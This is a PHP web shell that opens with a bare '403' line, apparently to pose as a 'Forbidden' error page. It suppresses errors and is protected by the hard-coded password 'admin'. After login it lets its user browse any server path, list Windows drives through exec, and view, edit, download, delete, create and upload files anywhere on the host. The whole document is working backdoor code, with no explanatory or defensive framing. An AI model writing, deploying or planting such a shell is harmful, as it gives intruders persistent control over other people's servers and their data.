403

<?php
//
//
//vars
//
//
	error_reporting(0);
	session_start();
	define('password', 'admin');
//
//
//controllers functions
//
//
	
    function has($obj){
        return isset($obj);
    }
    function dd($text){
        die($text);
    }
    function get_session($name){
        return has($_SESSION[$name]) ? $_SESSION[$name] : false;
    }
    function set_session($name,$val){
        $_SESSION[$name] = $val;
    }
    function get_post($name){
        return has($_POST[$name]) ? $_POST[$name] : false;
    }
    function get_get($name){
        return has($_GET[$name]) ? $_GET[$name] : false;
    }
    function makeInput($type,$name,$val = "", $style = ""){
        if(in_array($type,['text','password','submit','file'])){
            return "<input type='$type' name='$name' value='$val' style='$style'/>";
		}
        return "<$type name='$name' style='$style'>$val</$type>";
    }
    function makeForm($method, $inputArray,$file = ""){
        $form = "<form method=$method enctype='$file'>"; 
        foreach($inputArray as $key=>$val){
            $form .= makeInput($key,(is_array($val) ? $val[0] : $val), (has($val[1]) ? $val[1] : ""), (has($val[2]) ? $val[2] : ""));
        }
        return $form."</form>";
    }
    function makeTable($thead,$tbody){
        $head = "";
        foreach($thead as $th){
            $head .= "<th>$th</th>";
        }
        $body = "";
        foreach($tbody as $tr){
            $body .= "<tr>";
            foreach($tr as $td){
                $body .= "<td>$td</td>";
            }
            $body .= "</tr>";
        }
        return "<table><thead>$head</thead><tbody>$body</tbody></table>";
    }
	function makeLink($link,$text,$target = ""){
		return "<a href='$link' target='$target'>$text</a> ";
	}
    function login(){
        if(get_session('login')){
            return true;
		}
        if(!get_post('login')){
            return false;
		}
        if(get_post('pass') != password){
            return false;
		}
        set_session('login',true);
        return true;
    }
    function get_path(){
        $path = __dir__;
        if(get_get('path')){
            $path = get_get('path');
		}
        return $path;
    }
    function filesize_convert($bytes){
        $label = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
        for($i = 0; $bytes >= 1024 && $i < (count($label) -1); $bytes /= 1024, $i++);
        return(round($bytes, 2) . " " . $label[$i]);
    }
    function fileTime($path){
        return date("M d Y H:i:s", filemtime($path));
    }
	function download_file($download){
		if(!is_file($download)){
			return false;
		}
		header('Content-Type: application/octet-stream');
		header('Content-Transfer-Encoding: Binary');
		header('Content-disposition: attachment; filename="'.basename($download).'"');
		return readfile($download);
	}
	function delete_file($delete){
		if(is_file($delete)){
			return unlink($delete);
		}
		if(is_dir($delete)){
			return rmdir($delete);
		}
		return false;
	}
	function edit_file($edit){
		if(is_file($edit)){
			return makeForm('POST',
				['textarea'=>['edit',htmlentities(file_get_contents($edit)),"width:100%;height:90%"],
				'submit'=>['save','Save']]);
		}
		return false;
	}
	function save_edit($path,$str){
		if(is_file($path)){
			file_put_contents($path,html_entity_decode($str));
			return true;
		}
		return false;
	}
	function view_file($path){
		if(is_file($path)){
			return htmlentities(file_get_contents($path));
		}
		return false;
	}
	function new_file($path,$name){
		if(!is_file($path.'/'.$name)){
			file_put_contents($path.'/'.$name,"");
			return true;
		}
		return false;
	}
	function new_dir($path,$name){
		if(!is_dir($path.'/'.$name)){
			mkdir($path.'/'.$name);
			return true;
		}
		return false;
	}
	function upload_file($path,$file){
		$name = basename($file['name']);
		if(!is_file($path.'/'.$name)){
			if(move_uploaded_file($file["tmp_name"], $path.'/'.$name)){
				return true;
			}
		}
		return false;
	}
	function get_back($path){
		if($path == "" || $path == "/"){
			return $path;
		}
		$path = explode("/",str_replace('\\','/',$path));
		array_pop($path);
		return implode("/",$path);
	}
	function win_disk(){
		exec("wmic logicaldisk get caption",$c);
		$ret = "";
		foreach($c as $d)
			$ret .= ($d != "Caption" ? makeLink("?path=$d",$d) : "");
		return $ret;
	}
    function get_dir(){
		$path = get_path();
		if(!is_dir($path)){
			return false;
		}
		$dir = scandir($path);
        $files = [];
        $i = 0;
        foreach($dir as $d){
            if($d == '.' || $d == '..'){
                continue;
			}
            $p = $path.'/'.$d;
            $s = '--';
            $icon = "&#128193;";
            $t = fileTime($p);
            $l = makeLink("?path=$p",$d);
			$perms = substr(sprintf("%o", fileperms($p)),-4);
			$owner =  (function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($p))['name'] : fileowner($p));
			$controller = 
				(is_file($p) ? makeLink("?edit=$p","Edit","_blank") : '').
				makeLink("?delete=$p","Delete","_blank").
				(is_file($p) ? makeLink("?download=$p","Download","_blank") : '');
            if(is_file($p)){
                $s = filesize_convert(filesize($p));
                $icon = "&#128221;";
            }
            $files[] = [$icon,$i,$l,$s,$t,$perms,$owner,$controller];
            $i++;
        }
        return makeTable(['#','id','Filename','Size','Modified','Perms','Owner',''],$files);
    }

$loginTemplate = makeForm('POST',['p'=>['','Password: '],'password'=>['pass', ''],'submit'=>['login','Login']]);
	if(!login()){
				dd($loginTemplate);
	}
	if(get_get("delete")){
		delete_file(get_get("delete")) ? dd("Deleted: ".get_get("delete")) : dd("File not found");
	}
	if(get_get("edit")){
		if(get_post('save')){
			save_edit(get_get('edit'),get_post('edit'));
			echo "Saved";
		}
		$edit = edit_file(get_get("edit"));
		$edit ? dd($edit) : dd("File not found");
	}
	if(get_get('download')){
		@readfile(download_file(get_get('download')));
		exit();
	}
	if(get_post('newfile')){
		new_file(get_path(),get_post('filename')) ? dd('Create: '.get_post('filename')) : dd('File exites');
	}
	if(get_post('newdir')){
		new_dir(get_path(),get_post('dirname')) ? dd('Create: '.get_post('dirname')) : dd('Dir exites');
	}
	if(get_post('upload')){
		upload_file(get_path(),$_FILES['file']) ? dd('upload: '. $_FILES['file']['name']) : dd('Upload Error');
	}
	echo "<body>".
		makeForm('POST',['text'=>['filename','File Name'],'submit'=>['newfile','Create']]).
		makeForm('POST',['text'=>['dirname','Dir Name'],'submit'=>['newdir','Create']]).
		makeForm('POST',['file'=>'file','submit'=>['upload','Upload']],'multipart/form-data').
		makeLink("?path=".get_back(get_path()),"[Back]").
		(PHP_OS_FAMILY == "Windows" ? win_disk() : "").
		(is_dir(get_path()) ? get_dir() : '<pre>'.view_file(get_path()).'</pre>')
		."</body>";